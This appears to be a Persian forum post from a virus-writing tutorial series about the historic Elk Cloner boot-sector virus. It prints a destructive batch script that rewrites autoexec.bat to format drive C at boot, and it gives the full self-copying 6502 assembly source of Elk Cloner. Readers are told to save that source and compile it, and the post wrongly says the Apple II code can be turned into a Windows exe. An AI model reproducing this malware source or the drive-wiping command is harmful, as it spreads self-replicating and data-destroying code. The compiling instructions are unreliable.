به درخواست بعضی از دوستان و بخاطر وجود ابهامات بین تازه واردا امروز میخوایم درباره ویروس کلونر بحث کنیم
ویروس کلونر Elk Cloner اولین ویروس بود که توسط یه نوجوان 15 ساله امریکایی با سیستم عامل اپل برای بازی ها و سرگرمی نوشته شد
از طریق فلاپی به سیستم های دیگر منتقل میشد و در هر 50 بار روشن شدن سیستم یکبار پیامی نمایش میداد ولی هیچ آسیب جدی به هیچ سیستمی وارد نمیکرد
این ویروس هم مثل ویروس هایی که در پست های گذشته آموزش دادیم عمل میکرد
یعنی سیستم رو غیر قابل کنترل میکرد و یه پیامی به کاربر آن نمایش میداد.
که به این نوع ویروس ها ویروس بخش بوت هم میگن چون بوت سیستم هارو تحت تاثیر قرار میده
کلونر به زبان اسمبلی نوشته شده که امروزه میتوان سورس اون رو به بقیه زبان ها هم ترجمه کرد.
بیشتر دوستان و علاقمندان به ویروس نویسی فکر میکنن کد زیر که با bat نوشته شده ویروس کلونر هستش
@echo off
call attrib -r -h c:autoexec.bat >nul
echo @echo off >c:autoexec.bat
echo format /autotest c:/q>nul >>c:autoexec.bat
call attrib +r +h c:autoexec.bat >nul
exit
که این کدها هیچ ربطی به این نوع ویروس نداره و حتی احتمال عمل کردن این کد تقریبا صفر درصده.
کد بالا دستور پاک کردن و مخفی کردن فایل های درایو سی رو میده درحالی که کلونر هیچ فایلی رو پاک نمیکنه!!!
همونطور که گفتم کلونر با زبان اسمبلی نوشته شده (نه bat) که سورس اون به شکل زیر هست
ORG $9000 VERSN DFB $02 HIMEM LDA #$FF STA $4C LDA #$8F STA $4D DOPTCH LDA #$20 STA $A180 LDA #$5B STA $A181 LDA #$A7 STA $A182 RUNPTCH LDA #$AD STA $A4D1 LDA #$B6 STA $A4D2 LDA #$AA STA $A4D3 LODPTCH LDA #$4C STA $A413 LDA #>LOD STA $A414 LDA #<LOD STA $A415 BLDPTCH LDA #$4C STA $A35D LDA #>BLOD STA $A35E LDA #<BLOD STA $A35F CATPTCH LDA #$4C STA $A56E LDA #>CATALOG STA $A56F LDA #<CATALOG STA $A570 USRPTCH LDA #$4C STA $0A LDA #>USRCMD STA $0B LDA #<USRCMD STA $0C BOOTUP CLD JSR READ LDX $B3BF INX STX $B3BF JSR WRITE JSR DESTROY JMP $A180 TESTON LDA #$00 STA FLAG1 LDA $AA68 STA $B7EA JSR READ LDA $B3C2 CMP VERSN BEQ TESTON1 LDA #$01 STA FLAG1 TESTON1 RTS LOD JSR TESTON LDA FLAG1 CMP #$00 BEQ LOD1 JSR CLONE LOD1 JSR $A316 JMP $A416 BLOD JSR TESTON LDA FLAG1 CMP #$00 BEQ BLOD1 JSR CLONE BLOD1 JSR $A2A8 JMP $A360 CATALOG JSR TESTON LDA #$06 JSR $A2AA LDA $B5BF STA $AA66 LDA FLAG1 CMP #$00 BEQ RETURN JSR CLONE RETURN LDA #$0 STA $B3BE STA $B3BF STA $B3C0 RTS CLONE CLC JSR READ LDA IDENT STA $B3C0 LDA VERSN STA $B3C2 JSR WRITE LDA $AA68 STA $B7EA LDA #$02 STA $B7F4 STA $B7EC LDA #$08 STA $B7ED LDA #$0 STA $B7EB STA $B7F0 LDA #$95 STA $B7F1 CLONE1 LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE2 RTS CLONE2 DEC $B7ED DEC $B7F1 LDA $B7F1 CMP #$8F BNE CLONE1 LDA #$02 STA $B7F1 LDA #$01 STA $B7F4 STA $B7EC LDA #$0 STA $B7ED LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE3 RTS CLONE3 LDA #$4C STA $280 LDA #$00 STA $281 LDA #$9B STA $282 LDA #$02 STA $B7F4 LDA #$B7 LDY #$E8 JSR $B7B5 CLD BCC CLONE4 RTS CLONE4 LDA #$0 STA $B7EC LDA #$A STA $B7ED LDA #$95 STA $B7F1 LDA #$B7 LDY #$E8 JSR $B7B5 CLD RTS READ LDA #$01 STA $B7F4 JMP VTOC WRITE LDA #$02 STA $B7F4 VTOC LDA #$11 STA $B7EC LDA #$0 STA $B7ED LDA #$BB STA $B7F0 LDA #$B3 STA $B7F1 LDA #$0 STA $B7EB LDA #$B7 LDY #$E8 JSR $B7B5 CLD RTS PRINT STY $FC STA $FD LDY #$00 PRINT0 LDA ($FC),Y CMP #$00 BEQ PRINT1 JSR $FDED INY JMP PRINT0 PRINT1 RTS PRTMSG LDY #>MSG LDA #<MSG JSR PRINT PRTNUM LDA IDENT STA $44 JSR $AE42 LDA #$8D JSR $FDED RTS MSG ASC 'ELK CLONER V2.0 # ' DFB $0 IDENT DFB $1 FLAG1 DFB $00 RET RTS USRCMD JSR $E6FB CPX #$0B BNE CMD2 JSR PRTMSG RTS CMD2 CPX #$0C BNE CMD3 LDY #>REPORT LDA #<REPORT JSR PRINT JSR READ LDA $B3BF STA $44 JSR $AE42 LDA #$8D JSR $FDED RTS CMD3 CPX #$0D BNE CMD4 JSR CLONE RTS CMD4 CPX #$0A BNE USRERR JSR PRPOEM RTS USRERR LDY #>UERR LDA #<UERR JSR PRINT JSR $FBDD JMP $9DBF UERR DFB $8D ASC 'ILLEGAL QUANTITY ERROR' DFB $0 PRPOEM JSR $FC58 LDY #>POEM LDA #<POEM JSR PRINT RTS REPORT ASC 'BOOT COUNT: ' DFB $0 POEM ASC 'ELK CLONER:' DFB $8D,$8D ASC ' THE PROGRAM WITH A PERSONALITY' DFB $8D,$8D,$8D ASC 'IT WILL GET ON ALL YOUR DISKS' DFB $8D ASC 'IT WILL INFILTRATE YOUR CHIPS' DFB $8D ASC 'YES IT' DFB $A7 ASC 'S CLONER!' DFB $8D,$8D ASC 'IT WILL STICK TO YOU LIKE GLUE' DFB $8D ASC 'IT WILL MODIFY RAM TOO' DFB $8D ASC 'SEND IN THE CLONER!' DFB $8D,$8D,$8D,$8D,$0 IOERR LDY #>ERRMSG LDA #<ERRMSG JSR PRINT JSR $FBDD JMP $9DBF ERRMSG DFB $8D,$8D ASC 'I/O ERROR' DFB $8D,$00 DESTROY LDA $B3BF CMP #10 BNE DEST1 LDA #$69 STA $3F2 LDA #$FF STA $3F3 JSR $FB6F RTS DEST1 CMP #15 BNE DEST2 LDA #$3F STA $32 RTS DEST2 CMP #20 BNE DEST3 LDA $C030 LDA $C030 LDA $C030 RTS DEST3 CMP #25 BNE DEST4 LDA #$7F STA $32 RTS DEST4 CMP #30 BNE DEST5 LDA #'I' STA $B3A7 LDA #'T' STA $B3A8 LDA #'B' STA $B3A9 LDA #'A' STA $B3AA RTS DEST5 CMP #35 BNE DEST6 LDA #$85 STA $AAB2 RTS DEST6 CMP #40 BNE DEST7 LDA #$00 STA $3F2 LDA #$03 STA $3F3 JSR $FB6F LDA #$4C STA $300 LDA #$00 STA $301 LDA #$03 STA $302 RTS DEST7 CMP #45 BNE DEST8 LDA #$80 STA $D6 RTS DEST8 CMP #50 BNE DEST9 LDA #>PRPOEM STA $3F2 LDA #<PRPOEM STA $3F3 JSR $FB6F RTS DEST9 CMP #55 BNE DEST10 LDA #$FF STA $BDD3 RTS DEST10 CMP #60 BNE DEST11 LDA #$20 STA $BDD3 RTS DEST11 CMP #65 BNE DEST12 LDA #$4C STA $A180 LDA #$69 STA $A181 LDA #$FF STA $A182 RTS DEST12 CMP #70 BNE DEST13 LDA #$10 STA $BDD3 RTS DEST13 CMP #75 BNE DEST14 JMP $C600 DEST14 CMP #76 BNE DEST15 JMP $C600 DEST15 CMP #77 BNE DEST16 JMP $C600 DEST16 CMP #78 BNE DEST17 JMP $C600 DEST17 CMP #79 BNE DEST18 JSR READ LDA #$00 STA $B3BF JSR WRITE RTS DEST18 RTS LOADER ORG $9500 LDA #$02 STA $B7EC LDA #$01 STA $B7F4 LDA #$03 STA $B7ED LDA #$0 STA $B7EB STA $B7F0 LDA #$90 STA $B7F1 LOAD1 LDA #$B7 LDY #$E8 JSR $B7B5 INC $B7ED INC $B7F1 LDA $B7F1 CMP #$96 BCC LOAD1 JMP HIMEM
کدهای بالا رو فعلا با فرمت asm ذخیره کنید تا کامپایل کردن اسمبلی رو تو یه پست جدید آموزش بدم
اگه صبر و طاقتتون جواب نداد میتونید خودتون تو نت کامپایل کردن این کدها و تبدیل اونها به exe رو جستوجوکنید
شما ابتدا باید سعی کنید فایل asm رو به obj تبدیل کنید و بعد از اون به exe تبدیل میشه.
شاید در ادامه همین پست کاملش کردم!!!
هرچی کد ها رو نگاه کردم چیزی حالیم نشد(منظورم کد های اسمبلیک) میشه اگه تونستی اموزش نوشتنتش با سی شارپ رو هم توضیح بدی؟